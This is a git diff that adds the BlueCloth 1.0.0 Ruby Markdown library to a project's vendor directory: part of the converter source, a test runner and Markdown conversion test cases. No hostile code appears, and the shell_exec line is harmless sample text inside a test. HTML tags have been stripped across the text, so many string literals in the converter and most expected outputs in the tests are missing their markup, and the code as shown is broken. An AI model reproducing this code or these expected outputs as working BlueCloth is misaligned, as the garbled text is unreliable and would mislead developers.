    \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in

    tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

    ' ) + '

    ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + ? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* + ? # source url = $3 + [ ]* + (?: # + (["']) # quote char = $4 + (.*?) # title = $5 + \4 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" % str + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + alt.gsub!( /"/, '"' ) + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def escape_md( str ) + str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). + gsub( %r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/test.rb b/vendor/bluecloth-1.0.0/test.rb new file mode 100755 index 00000000..c86fca08 --- /dev/null +++ b/vendor/bluecloth-1.0.0/test.rb @@ -0,0 +1,117 @@ +#!/usr/bin/ruby +# +# Test suite for BlueCloth classes +# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +BEGIN { + $basedir = File::dirname( __FILE__ ) + ["lib", "tests", "redist"].each do |subdir| + $LOAD_PATH.unshift File::join( $basedir, subdir ) + end + + require "#{$basedir}/utils" + include UtilityFunctions +} + +verboseOff { + require 'bctestcase' + require 'find' + require 'test/unit' + require 'test/unit/testsuite' + require 'test/unit/ui/console/testrunner' + require 'optparse' +} + +# Turn off output buffering +$stderr.sync = $stdout.sync = true +$DebugPattern = nil + +# Initialize variables +safelevel = 0 +patterns = [] +requires = [] + +# Parse command-line switches +ARGV.options {|oparser| + oparser.banner = "Usage: #$0 [options] [TARGETS]\n" + + oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, + "Turn debugging on (for tests which match PATTERN)" ) {|arg| + if arg + $DebugPattern = Regexp::new( arg ) + puts "Turned debugging on for %p." % $DebugPattern + else + $DEBUG = true + debugMsg "Turned debugging on globally." + end + } + + oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { + $VERBOSE = true + debugMsg "Turned verbose on." + } + + # Handle the 'help' option + oparser.on( "--help", "-h", "Display this text." ) { + $stderr.puts oparser + exit!(0) + } + + oparser.parse! +} + +# Parse test patterns +ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} +$stderr.puts "#{patterns.length} patterns given on the command line" + +### Load all the tests from the tests dir +Find.find("#{$basedir}/tests") {|file| + Find.prune if /\/\./ =~ file or /~$/ =~ file + Find.prune if /TEMPLATE/ =~ file + next if File.stat( file ).directory? + + unless patterns.empty? + Find.prune unless patterns.find {|pat| pat =~ file} + end + + debugMsg "Considering '%s': " % file + next unless file =~ /\.tests.rb$/ + debugMsg "Requiring '%s'..." % file + require "#{file}" + requires << file +} + +$stderr.puts "Required #{requires.length} files." +unless patterns.empty? + $stderr.puts "[" + requires.sort.join( ", " ) + "]" +end + +# Build the test suite +class BlueClothTests + class << self + def suite + suite = Test::Unit::TestSuite.new( "BlueCloth" ) + + if suite.respond_to?( :add ) + ObjectSpace.each_object( Class ) {|klass| + suite.add( klass.suite ) if klass < BlueCloth::TestCase + } + else + ObjectSpace.each_object( Class ) {|klass| + suite << klass.suite if klass < BlueCloth::TestCase + } + end + + return suite + end + end +end + +# Run tests +$SAFE = safelevel +Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start + + + + diff --git a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb new file mode 100755 index 00000000..e735d80a --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb @@ -0,0 +1,71 @@ +#!/usr/bin/ruby +# +# Unit test for the BlueCloth class object +# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class BlueClothClassTestCase < BlueCloth::TestCase + + TestString = "foo" + + def test_00_class_constant + printTestHeader "BlueCloth: Class Constant" + + assert Object::constants.include?( "BlueCloth" ), + "No BlueCloth constant in Object" + assert_instance_of Class, BlueCloth + end + + def test_01_instantiation + printTestHeader "BlueCloth: Instantiation" + rval = nil + + # With no argument... ("") + assert_nothing_raised { + rval = BlueCloth::new + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal "", rval + + # String argument + assert_nothing_raised { + rval = BlueCloth::new TestString + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + + addSetupBlock { + debugMsg "Creating a new BlueCloth" + @obj = BlueCloth::new( TestString ) + } + addTeardownBlock { + @obj = nil + } + end + + def test_02_duplication + printTestHeader "BlueCloth: Duplication" + rval = nil + + assert_nothing_raised { + rval = @obj.dup + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + end + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb new file mode 100755 index 00000000..e2449ba1 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb @@ -0,0 +1,1527 @@ +#!/usr/bin/ruby +# +# Test case for BlueCloth Markdown transforms. +# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class SubfunctionsTestCase < BlueCloth::TestCase + + ### Test email address output + Emails = %w[ + address@example.com + foo-list-admin@bar.com + fu@bar.COM + baz@ruby-lang.org + foo-tim-bazzle@bar-hop.co.uk + littlestar@twinkle.twinkle.band.CO.ZA + ll@lll.lllll.ll + Ull@Ulll.Ulllll.ll + UUUU1@UU1.UU1UUU.UU + l@ll.ll + Ull.Ullll@llll.ll + Ulll-Ull.Ulllll@ll.ll + 1@111.ll + ] + # I can't see a way to handle IDNs clearly yet, so these will have to wait. + # info@öko.de + # jemand@büro.de + # irgendwo-interreßant@dÅgta.se + #] + + def test_10_email_address + printTestHeader "BlueCloth: Inline email address" + rval = match = nil + + Emails.each {|addr| + assert_nothing_raised { + rval = BlueCloth::new( "<#{addr}>" ).to_html + } + + match = %r{

    [^<]+

    }.match( rval ) + assert_not_nil match, "Match against output #{rval}" + assert_equal "mailto:#{addr}", decode( match[1] ) + } + end + + + def decode( str ) + str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| + code = $1 + debugMsg "Decoding %p" % code + + case code + when /^x([a-f0-9]+)/i + debugMsg " (hex) = %p" % $1.to_i(16).chr + $1.to_i(16).chr + when /\d{3}/ + debugMsg " (oct) = %p" % code.to_i.chr + code.to_i.chr + else + raise "Hmmm... malformed entity %p" % code + end + } + end + + + + ################################################################# + ### A U T O - G E N E R A T E D T E S T S + ################################################################# + + # Parse the data section into a hash of test specifications + TestSets = {} + begin + seenEnd = false + inMetaSection = true + inInputSection = true + section, description, input, output = '', '', '', '' + linenum = 0 + + # Read this file, skipping lines until the __END__ token. Then start + # reading the tests. + File::foreach( __FILE__ ) {|line| + linenum += 1 + if /^__END__/ =~ line then seenEnd = true; next end + debugMsg "#{linenum}: #{line.chomp}" + next unless seenEnd + + # Start off in the meta section, which has sections and + # descriptions. + if inMetaSection + + case line + + # Left angles switch into data section for the current section + # and description. + when /^<< linenum, + :sets => [], + } + + end + + # Data section has input and expected output parts + else + + case line + + # Right angles terminate a data section, at which point we + # should have enough data to add a test. + when /^>>>/ + TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] + + inMetaSection = true + inInputSection = true + input = ''; output = '' + + # 3-Dashed divider with text divides input from output + when /^--- (.+)/ + inInputSection = false + + # Anything else adds to either input or output + else + if inInputSection + input += line + else + output += line + end + end + end + } + end + + debugMsg "Test sets: %p" % TestSets + + # Auto-generate tests out of the test specifications + TestSets.each {|sname, section| + + # Generate a test method for each section + section.each do |desc, test| + methname = "test_%03d_%s" % + [ test[:line], desc.gsub(/\W+/, '_').downcase ] + + # Header + code = %{ + def #{methname} + printTestHeader "BlueCloth: #{desc}" + rval = nil + } + + # An assertion for each input/output pair + test[:sets].each {|input, output| + code << %{ + assert_nothing_raised { + obj = BlueCloth::new(%p) + rval = obj.to_html + } + assert_equal %p, rval + + } % [ input, output ] + } + + code << %{ + end + } + + + debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] + eval code + end + + } + +end + + +__END__ + +### [Paragraphs and Line Breaks] + +# Paragraphs +<<< +This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines. + +And this is a another +one. +--- Should become: +

    This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines.

    + +

    And this is a another +one.

    +>>> + +# Line breaks +<<< +Mostly the same kind of thing +with two spaces at the end +of each line +should result in +line breaks, though. + +And this is a another +one. +--- Should become: +

    Mostly the same kind of thing
    +with two spaces at the end
    +of each line
    +should result in
    +line breaks, though.

    + +

    And this is a another
    +one.

    +>>> + +# Escaping special characters +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of named entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of decimal-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of hex-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Inline HTML - table tags +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Inline HTML - div tags +<<< +This is a regular paragraph. + +
    + Something +
    +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + Something +
    + +

    Something else.

    +>>> + + +# Inline HTML - Plain HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Fancy HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Iframe +<<< +This is a regular paragraph. + + + +Something else. +--- Should become: +

    This is a regular paragraph.

    + + + +

    Something else.

    +>>> + + +# Inline HTML - mathml +<<< +Examples +-------- + +Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be: + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure. + +--- Should become: +

    Examples

    + +

    Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be:

    + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +

    This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure.

    +>>> + + +# Span-level HTML +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + +# Inline HTML (Case-sensitivity) +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Span-level HTML (Case-sensitivity) +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + + + +### [Code spans] + +# Single backtick +<<< +Making `code` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Literal backtick with doubling +<<< +Making `` `code` `` work for you +--- Should become: +

    Making `code` work for you

    +>>> + +# Many repetitions +<<< +Making `````code````` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Two in a row +<<< +This `thing` should be `two` spans. +--- Should become: +

    This thing should be two spans.

    +>>> + +# At the beginning of a newline +<<< +I should think that the +`tar` command would be universal. +--- Should become: +

    I should think that the +tar command would be universal.

    +>>> + +# Entity escaping +<<< +The left angle-bracket (`<`) can also be written as a decimal-encoded +(`<`) or hex-encoded (`<`) entity. +--- Should become: +

    The left angle-bracket (&lt;) can also be written as a decimal-encoded +(&#060;) or hex-encoded (&#x3c;) entity.

    +>>> + +# At the beginning of a document (Bug #525) +<<< +`world` views +--- Should become: +

    world views

    +>>> + + + + +### [Code blocks] + +# Para plus code block (literal tab) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (literal tab, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Colon with preceeding space +<<< +A regular paragraph, without a colon. : + + This is a code block. + +Some stuff. +--- Should become: +

    A regular paragraph, without a colon. :

    + +
    This is a code block.
    +
    + +

    Some stuff.

    +>>> + +# Single colon +<<< +: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    :

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Preserve leading whitespace (Bug #541) +<<< +Examples: + + # (Waste character because first line is flush left !!!) + # Example script1 + x = 1 + x += 1 + puts x + +Some stuff. +--- Should become: +

    Examples:

    + +
          # (Waste character because first line is flush left !!!)
    +      # Example script1
    +      x = 1
    +      x += 1
    +      puts x
    +
    + +

    Some stuff.

    +>>> + + +### [Horizontal Rules] + +# Hrule 1 +<<< +* * * +--- Should become: +
    +>>> + +# Hrule 2 +<<< +*** +--- Should become: +
    +>>> + +# Hrule 3 +<<< +***** +--- Should become: +
    +>>> + +# Hrule 4 +<<< +- - - +--- Should become: +
    +>>> + +# Hrule 5 +<<< +--------------------------------------- +--- Should become: +
    +>>> + + +### [Titles] + +# setext-style h1 +<<< +Title Text += +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +=== +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +========== +--- Should become: +

    Title Text

    +>>> + +# setext-style h2 +<<< +Title Text +- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +--- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +---------- +--- Should become: +

    Title Text

    +>>> + +# ATX-style h1 +<<< +# Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h2 +<<< +## Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h3 +<<< +### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h4 +<<< +#### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h5 +<<< +##### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ##### +--- Should become: +
    Title Text
    +>>> + +# ATX-style h6 +<<< +###### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ##### +--- Should become: +
    Title Text
    +>>> + + +### [Blockquotes] + +# Regular 1-level blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    +
    +>>> + +# Doubled blockquotes +<<< +> > And, they can be nested. +--- Should become: +
    +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Nested blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. + +> > And, they can be nested. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    + +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Lazy blockquotes +<<< +> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse +id sem consectetuer libero luctus adipiscing. +--- Should become: +
    +

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    + +

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing.

    +
    +>>> + + +# Blockquotes containing other markdown elements +<<< +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +--- Should become: +
    +

    This is a header.

    + +
      +
    1. This is the first list item.
    2. +
    3. This is the second list item.
    4. +
    + +

    Here's some example code:

    + +
    return shell_exec("echo $input | $markdown_script");
    +
    +
    +>>> + +# Blockquotes with a
     section
    +<<<
    +> The best approximation of the problem is the following code:
    +>
    +> 
    +> foo + bar; foo.factorize; foo.display
    +> 
    +> +> This should result in an error on any little-endian platform. +--- Should become: +
    +

    The best approximation of the problem is the following code:

    + +
    +foo + bar; foo.factorize; foo.display
    +
    + +

    This should result in an error on any little-endian platform.

    +
    +>>> + + + +### [Images] + +# Inline image with title +<<< +![alt text](/path/img.jpg "Title") +--- Should become: +

    alt text

    +>>> + +# Inline image with title (single-quotes) +<<< +![alt text](/path/img.jpg 'Title') +--- Should become: +

    alt text

    +>>> + +# Inline image with title (with embedded quotes) +<<< +![alt text](/path/img.jpg 'The "Title" Image') +--- Should become: +

    alt text

    +>>> + +# Inline image without title +<<< +![alt text](/path/img.jpg) +--- Should become: +

    alt text

    +>>> + +# Inline image with quoted alt text +<<< +![the "alt text"](/path/img.jpg) +--- Should become: +

    the "alt text"

    +>>> + + +# Reference image +<<< +![alt text][id] + +[id]: /url/to/img.jpg "Title" +--- Should become: +

    alt text

    +>>> + + + +### [Emphasis] + +# Emphasis () with asterisks +<<< +Use *single splats* for emphasis. +--- Should become: +

    Use single splats for emphasis.

    +>>> + +# Emphasis () with underscores +<<< +Use *underscores* for emphasis. +--- Should become: +

    Use underscores for emphasis.

    +>>> + +# Strong emphasis () with asterisks +<<< +Use **double splats** for more emphasis. +--- Should become: +

    Use double splats for more emphasis.

    +>>> + +# Strong emphasis () with underscores +<<< +Use __doubled underscores__ for more emphasis. +--- Should become: +

    Use doubled underscores for more emphasis.

    +>>> + +# Combined emphasis types 1 +<<< +Use *single splats* or _single unders_ for normal emphasis. +--- Should become: +

    Use single splats or single unders for normal emphasis.

    +>>> + +# Combined emphasis types 2 +<<< +Use _single unders_ for normal emphasis +or __double them__ for strong emphasis. +--- Should become: +

    Use single unders for normal emphasis +or double them for strong emphasis.

    +>>> + +# Emphasis containing escaped metachars +<<< +You can include literal *\*splats\** by escaping them. +--- Should become: +

    You can include literal *splats* by escaping them.

    +>>> + +# Two instances of asterisked emphasis on one line +<<< +If there's *two* splatted parts on a *single line* it should still work. +--- Should become: +

    If there's two splatted parts on a single line it should still work.

    +>>> + +# Two instances of double asterisked emphasis on one line +<<< +This **doubled** one should **work too**. +--- Should become: +

    This doubled one should work too.

